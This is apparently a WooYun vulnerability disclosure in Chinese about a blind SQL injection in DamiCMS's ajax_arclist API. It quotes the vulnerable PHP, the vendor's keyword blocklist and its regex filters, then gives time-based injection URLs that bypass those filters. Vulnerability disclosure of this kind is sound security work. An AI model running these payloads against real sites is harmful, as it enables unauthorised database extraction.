### 简要描述：
大米CMS某处SQL盲注3，绕过最新补丁及系统新增防御
### 详细说明：
原始漏洞连接：
[WooYun: 大米CMS某处SQL盲注2](http://www.wooyun.org/bugs/wooyun-2014-081519)
官方在当天就出了最新版，修复了此漏洞
而且还加了全局防御，但是仍然可以绕过进行盲注
文件/Web/Lib/Action/ApiAction.class.php
```
//万能获取数据接口
function ajax_arclist(){
$prefix = !empty($_REQUEST['prefix'])?(bool)$_REQUEST['prefix']:true;
//表过滤防止泄露信息,只允许的表
if(!in_array($_REQUEST['model'],array('article','type','ad','label','link'))){exit();}
if(!empty($_REQUEST['model'])){
if($prefix == true){
$model = C('DB_PREFIX').$_REQUEST['model'];
}
else{
$model = $_REQUEST['model'];
}
}else{
$model = C('DB_PREFIX').'article';
}
$order =!empty($_REQUEST['order'])?inject_check($_REQUEST['order']):'';
$num =!empty($_REQUEST['num'])?inject_check($_REQUEST['num']):'';
$where =!empty($_REQUEST['where'])?inject_check(urldecode($_REQUEST['where'])):'';
//使where支持 条件判断,添加不等于的判断
$page=false;
if(!empty($_REQUEST['page'])) $page=(bool)$_REQUEST['page'];
$pagesize =!empty($_REQUEST['pagesize'])?intval($_REQUEST['pagesize']):'10';
//$query =!empty($_REQUEST['sql'])?$_REQUEST['sql']:'';//太危险不用
$field =!empty($_REQUEST['field'])?inject_check($_REQUEST['field']):'';
$m=new Model($model,"",false);
//如果使用了分页,缓存也不生效
if($page){
import("@.ORG.Page"); //这里改成你的Page类
$count=$m->where($where)->count();
$total_page = ceil($count / $pagesize);
$p = new Page($count,$pagesize);
//如果使用了分页，num将不起作用
$t=$m->field($field)->where($where)->limit($p->firstRow.','.$p->listRows)->order($order)->select();
//echo $m->getLastSql();
$ret = array('total_page'=>$total_page,'data'=>$t);
}
//如果没有使用分页，并且没有 query
if(!$page){
$ret=$m->field($field)->where($where)->order($order)->limit($num)->select();
}
$this->ajaxReturn($ret,'返回信息',1);
}
```
在修复是：
1、这里的
```
$where =!empty($_REQUEST['where'])?urldecode($_REQUEST['where']):'';
```
被修改为：
```
$where =!empty($_REQUEST['where'])?inject_check(urldecode($_REQUEST['where'])):'';
```
添加了系统自带的inject_check函数
```
//防止sql注入
function inject_check($str)
{
$tmp=eregi('select|insert|update|and|or|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $str);
if($tmp)
{
alert("非法操作!",3);
}
else
{
return $str;
}
}
```
过滤了一些SQL关键字
2、这里还在全局添加了php_safe.php文件
过滤的内容如下：
```
$getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
```
通上面的两个更新，但是仍然可以绕过
### 漏洞证明：
```
http://localhost/dami/index.php?s=/api/ajax_arclist/model/article/where/123+%26+1=if(hex(mid(user(),1,1))=72,sleep(1),1)
```
延时
[<img src="https://images.seebug.org/upload/201411/03150345bb9380fa658dc44adb303065d29bd06c.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/03150345bb9380fa658dc44adb303065d29bd06c.png)
```
http://localhost/dami/index.php?s=/api/ajax_arclist/model/article/where/123+%26+1=if(hex(mid(user(),1,1))=73,sleep(1),1)
```
[<img src="https://images.seebug.org/upload/201411/0315040655ecf94ab3565567a2d5f44c121a3702.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/0315040655ecf94ab3565567a2d5f44c121a3702.png)
python跑数据脚本见测试代码
脚本跑user()结果：
[<img src="https://images.seebug.org/upload/201411/031508450dac3b5c1d3cb0bb961e8e75c0973ee3.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/031508450dac3b5c1d3cb0bb961e8e75c0973ee3.png)
京公网安备 11010502034610号
暂无评论